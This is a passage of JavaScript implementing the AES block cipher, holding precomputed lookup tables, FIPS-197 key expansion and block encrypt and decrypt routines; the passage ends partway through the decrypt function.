                var T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0];

                // Transformations for decryption key expansion
                var U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3];
                var U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697];
                var U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46];
                var U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d];

                function convertToInt32(bytes) {
                    var result = [];
                    for (var i = 0; i < bytes.length; i += 4) {
                        result.push(
                            (bytes[i    ] << 24) |
                            (bytes[i + 1] << 16) |
                            (bytes[i + 2] <<  8) |
                            bytes[i + 3]
                        );
                    }
                    return result;
                }

                var AES = function(key) {
                    if (!(this instanceof AES)) {
                        throw Error('AES must be instanitated with `new`');
                    }

                    Object.defineProperty(this, 'key', {
                        value: coerceArray(key, true)
                    });

                    this._prepare();
                }


                AES.prototype._prepare = function() {

                    var rounds = numberOfRounds[this.key.length];
                    if (rounds == null) {
                        throw new Error('invalid key size (must be 16, 24 or 32 bytes)');
                    }

                    // encryption round keys
                    this._Ke = [];

                    // decryption round keys
                    this._Kd = [];

                    for (var i = 0; i <= rounds; i++) {
                        this._Ke.push([0, 0, 0, 0]);
                        this._Kd.push([0, 0, 0, 0]);
                    }

                    var roundKeyCount = (rounds + 1) * 4;
                    var KC = this.key.length / 4;

                    // convert the key into ints
                    var tk = convertToInt32(this.key);

                    // copy values into round key arrays
                    var index;
                    for (var i = 0; i < KC; i++) {
                        index = i >> 2;
                        this._Ke[index][i % 4] = tk[i];
                        this._Kd[rounds - index][i % 4] = tk[i];
                    }

                    // key expansion (fips-197 section 5.2)
                    var rconpointer = 0;
                    var t = KC, tt;
                    while (t < roundKeyCount) {
                        tt = tk[KC - 1];
                        tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^
                                (S[(tt >>  8) & 0xFF] << 16) ^
                                (S[ tt        & 0xFF] <<  8) ^
                                S[(tt >> 24) & 0xFF]        ^
                                (rcon[rconpointer] << 24));
                        rconpointer += 1;

                        // key expansion (for non-256 bit)
                        if (KC != 8) {
                            for (var i = 1; i < KC; i++) {
                                tk[i] ^= tk[i - 1];
                            }

                            // key expansion for 256-bit keys is "slightly different" (fips-197)
                        } else {
                            for (var i = 1; i < (KC / 2); i++) {
                                tk[i] ^= tk[i - 1];
                            }
                            tt = tk[(KC / 2) - 1];

                            tk[KC / 2] ^= (S[ tt        & 0xFF]        ^
                                        (S[(tt >>  8) & 0xFF] <<  8) ^
                                        (S[(tt >> 16) & 0xFF] << 16) ^
                                        (S[(tt >> 24) & 0xFF] << 24));

                            for (var i = (KC / 2) + 1; i < KC; i++) {
                                tk[i] ^= tk[i - 1];
                            }
                        }

                        // copy values into round key arrays
                        var i = 0, r, c;
                        while (i < KC && t < roundKeyCount) {
                            r = t >> 2;
                            c = t % 4;
                            this._Ke[r][c] = tk[i];
                            this._Kd[rounds - r][c] = tk[i++];
                            t++;
                        }
                    }

                    // inverse-cipher-ify the decryption round key (fips-197 section 5.3)
                    for (var r = 1; r < rounds; r++) {
                        for (var c = 0; c < 4; c++) {
                            tt = this._Kd[r][c];
                            this._Kd[r][c] = (U1[(tt >> 24) & 0xFF] ^
                                            U2[(tt >> 16) & 0xFF] ^
                                            U3[(tt >>  8) & 0xFF] ^
                                            U4[ tt        & 0xFF]);
                        }
                    }
                }

                AES.prototype.encrypt = function(plaintext) {
                    if (plaintext.length != 16) {
                        throw new Error('invalid plaintext size (must be 16 bytes)');
                    }

                    var rounds = this._Ke.length - 1;
                    var a = [0, 0, 0, 0];

                    // convert plaintext to (ints ^ key)
                    var t = convertToInt32(plaintext);
                    for (var i = 0; i < 4; i++) {
                        t[i] ^= this._Ke[0][i];
                    }

                    // apply round transforms
                    for (var r = 1; r < rounds; r++) {
                        for (var i = 0; i < 4; i++) {
                            a[i] = (T1[(t[ i         ] >> 24) & 0xff] ^
                                    T2[(t[(i + 1) % 4] >> 16) & 0xff] ^
                                    T3[(t[(i + 2) % 4] >>  8) & 0xff] ^
                                    T4[ t[(i + 3) % 4]        & 0xff] ^
                                    this._Ke[r][i]);
                        }
                        t = a.slice();
                    }

                    // the last round is special
                    var result = createArray(16), tt;
                    for (var i = 0; i < 4; i++) {
                        tt = this._Ke[rounds][i];
                        result[4 * i    ] = (S[(t[ i         ] >> 24) & 0xff] ^ (tt >> 24)) & 0xff;
                        result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff;
                        result[4 * i + 2] = (S[(t[(i + 2) % 4] >>  8) & 0xff] ^ (tt >>  8)) & 0xff;
                        result[4 * i + 3] = (S[ t[(i + 3) % 4]        & 0xff] ^  tt       ) & 0xff;
                    }

                    return result;
                }

                AES.prototype.decrypt = function(ciphertext) {
                    if (ciphertext.length != 16) {
                        throw new Error('invalid ciphertext size (must be 16 bytes)');
                    }

                    var rounds = this._Kd.length - 1;
                    var a = [0, 0, 0, 0];

                    // convert plaintext to (ints ^ key)
                    var t = convertToInt32(ciphertext);
                    for (var i = 0; i < 4; i++) {
                        t[i] ^= this._Kd[0][i];
                    }

                    // apply round transforms
                    for (var r = 1; r < rounds; r++) {
                        for (var i = 0; i < 4; i++) {
                            a[i] = (T5[(t[ i          ] >> 24) & 0xff] ^
                                    T6[(t[(i + 3) % 4] >> 16) & 0xff] ^
                                    T7[(t[(i + 2) % 4] >>  8) & 0xff] ^
                                    T8[ t[(i + 1) % 4]        & 0xff] ^
                                    this._Kd[r][i]);
                        }
                        t = a.slice();
                    }

                    // the last round is special
                    var result = createArray(16), tt;
                    for (var i = 0; i < 4; i++) {
                        tt = this._Kd[rounds][i];
                        result[4 * i    ] = (Si[(t[ i         ] >> 24) & 0xff] ^ (tt >> 24)) & 0xff;
                        result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff;
                        result[4 * i + 2] = (Si[(t[(i + 2) % 4] >>  8) & 0xff] ^ (tt >>  8)) & 0xff;
